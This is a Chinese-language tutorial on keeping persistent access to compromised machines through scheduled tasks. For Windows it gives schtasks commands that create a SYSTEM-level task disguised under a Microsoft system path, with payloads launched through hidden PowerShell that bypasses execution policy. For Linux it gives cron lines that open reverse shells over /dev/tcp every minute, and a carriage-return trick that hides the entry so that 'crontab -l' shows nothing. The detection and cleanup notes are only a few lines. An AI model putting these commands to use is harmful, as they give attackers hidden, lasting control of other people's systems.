壹 介绍
计划任务的作用:是做一些周期性的任务,在生产中的主要用来定期备份数据。所以在对肉鸡或者服务器进行权限维持时,我们可以考虑计划任务。
贰 Windows
2.1 打开计划任务窗口
- 方法一:右击此电脑->管理->任务计划程序
- 方法二:控制面板->管理工具->任务计划程序
- 方法三:Win+R->运行->输入
taskschd.msc
- 方法四:powershell->
taskschd.msc
2.2 操作
2.2.1 图形化操作
创建任务于创建基本任务有什么不同?基本任务是系统要求的,一定要注意权限问题,只有对应权限才能执行对应操作和创建的计划任务。
- 创建一个计划任务
- 为计划任务创建触发器
- 为计划任务添加操作,需要注意默认执行路径是
C:\Windows\System32
,所以我们可以在启始于那里加工作路径。 - 保存,并试着运行一下,OK,这里的操作只是图形化,一般情况我们更喜欢使用命令行操作。
2.2.2 命令行操作
命令行分两步:计划任务、powershell隐藏执行终端
- 计划任务
对于命令行操作,我们可以使用schtasks
命令。
# 查看内置的基本命令
schtasks /?
# 基本操作
/Create:创建新计划任务。
/Delete:删除计划任务。
/Query:显示所有计划任务。
/Change:更改计划任务属性。
/Run:按需运行计划任务。
/End:中止当前正在运行的计划任务。
/ShowSid:显示与计划的任务名称相应的安全标识符。
/?:显示此帮助消息。
然后就根据要使用的命令一步一步操作,如果有不了解的可以使用/?
。
常用创建命令:
参数 | 长参数 | 参数详细说明 |
---|---|---|
/TN | taskname | 以路径\名称形式指定对此计划任务进行唯一标识的字符串。 |
/TR | taskrun | 指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.exe |
/RU | username | 指定任务在其下运行的“运行方式”用户帐户(用户上下文)。对于系统帐户,有效值是 “”、”NT AUTHORITY\SYSTEM” 或”SYSTEM”,不建议指定用户。 |
/SC | schedule | 指定计划类型,如ONSTART(开机启动)、ONLOGON(登录启动)、ONIDLE(空闲) |
- 例子
schtasks /create /ru system /tn "Microsoft\Windows\Multimedia\SystemMediaService" /sc ONSTART /tr "C:\cs.exe" // 创建⼀个名为Microsoft\Windows\Multimedia\SystemMediaService,开机时执⾏ c:\cs.exe 的计划任务,需要管理员权限
schtasks /change /tn "Microsoft\Windows\Multimedia\SystemSoundsService" /ru system /tr "C:\cs.exe" /enable // 修改 Microsoft\Windows\Multimedia\SystemSoundsService 计划任务,需要管理员权限,更改任务⽆法通过 /sc、/mo 参数更改计划频率
- powershell执行
# 有这两种,执行exe和执行ps1
# 执行exe
powershell -ExecutionPolicy Bypass -windowstyle hidden -command 'notepad.exe'
# 切记-command的后面的参数一定是单引号括起来
# 执行ps1
powershell -ExecutionPolicy Bypass -windowstyle hidden -File 'C:\Users\admin\Desktop\demo.ps1'
- 完整
# 很多时候都是因为权限问题导致不成功 schtasks.exe /create /tn "restart" /sc ONLOGON /tr "powershell -ExecutionPolicy Bypass -windowstyle hidden -File 'C:\Users\admin\Desktop\demo.ps1'" schtasks.exe /create /tn "restart" /sc ONLOGON /tr "powershell -ExecutionPolicy Bypass -windowstyle hidden -command 'notepad.exe'"
关于C:\Users\admin\Desktop\demo.ps1
是我们创建的恶意文件。
2.3 检测以及清理
- 检测
查看计划任务程序库中是否存在异常计划任务: - 清除
删除异常计划任务及对应⽂件。
叁 Linux
linux系统中,可以通过crontab
和at
两种命令实现计划任务,这里只介绍周期性计划任务——crontab
。
3.1 crontab——周期性计划任务
- 文件
文件/目录 | 描述 |
---|---|
/etc/crontab |
该文件的作用相当于/etc/cron.d/下面的某一个文件,可以定义系统计划任务 |
/var/spool/cron/ |
以用户名命名的文本文件,存放各个用户自己设定的定时任务,普通用户没有权限直接访问,必须通过crontab命令 |
/etc/cron.d/ |
存放用来设定除了每天/每周/每月之外的定时任务,比如说周期执行的任务和其他任何定时任务 |
/etc/cron.d/0hourly |
系统每小时第一分钟需要执行的任务 |
/etc/cron.deny |
用户拒绝列表(在该文件中的用户不能使用cron服务) |
/etc/cron.monthly/ |
存放系统每个月需要执行的脚本 |
/etc/cron.weekly/ |
存放系统每周需要执行的脚本 |
/etc/cron.daily/ |
存放系统每天需要执行的脚本 |
/etc/cron.hourly/ |
存放系统每小时需要执行的脚本 |
cat /etc/crontab
# 命令:crontab
-e: 编辑计划任务 edit
-l: 查看计划任务 display
-u: 指定用户 user
-r: 删除计划任务 remove
crontab -l
命令实际上就是在读取/var/spool/crontab/(centos)
、/var/spool/cron/crontabs/
目录下对应用户名的文件内容,比如CentOS系统的root用户执行crontab -l
,实际就是在读取/var/spool/crontab/root
这个文件的内容,如果用户从未通过crontab命令设置过计划任务,那么这个文件是不存在的,此时,执行crontab -l
命令会返回no crontab for root
。
# 每月1、10、22日的4:45重启network服务
45 4 1,10,22 * * /usr/bin/systemctl restart network
# 每天18:00至23:00之间每隔30分钟重启network服务
*/30 18-23 * * * /usr/bin/systemctl restart network
# 反弹shell
*/1 * * * * bash -c "bash -i >& /dev/tcp/IP/port 0>&1"
# shell直接执行
echo -e "*/1 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec
1>&9 2>&1;/bin/bash --noprofile -i"|crontab - # 该命令会修改
/var/spool/cron/ 下对应⽤户的⽂件,如 root ⽤户执⾏该命令,则会修改该⽬录下 root
⽂件,也相当于 crontab -e
3.2 骚操作——利用不可打印字符来伪造计划任务数
原理:shell在解析\r
时会忽略掉\r
前面的信息。
# 如果我们使用printf进行输出,不用echo,因为printf会将后面的清除在写入,而echo -e不会清除,而是在%开始进行代替
# centos
(printf "*/1 * * * * bash -c 'bash -i >& /dev/tcp/IP/port 0>&1';\rno crontab for `whoami` %100c\n") | crontab -
# Ubuntu
(printf "*/1 * * * * /bin/bash /root/rs.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n") | crontab -
2.3 检测以及清理
- 检测
查看各个计划任务⽂件的内容是否有异常,或使⽤ crontab -l 命令列出当前⽤户的⾃定
义计划任务 - 清除
删除异常计划任务即可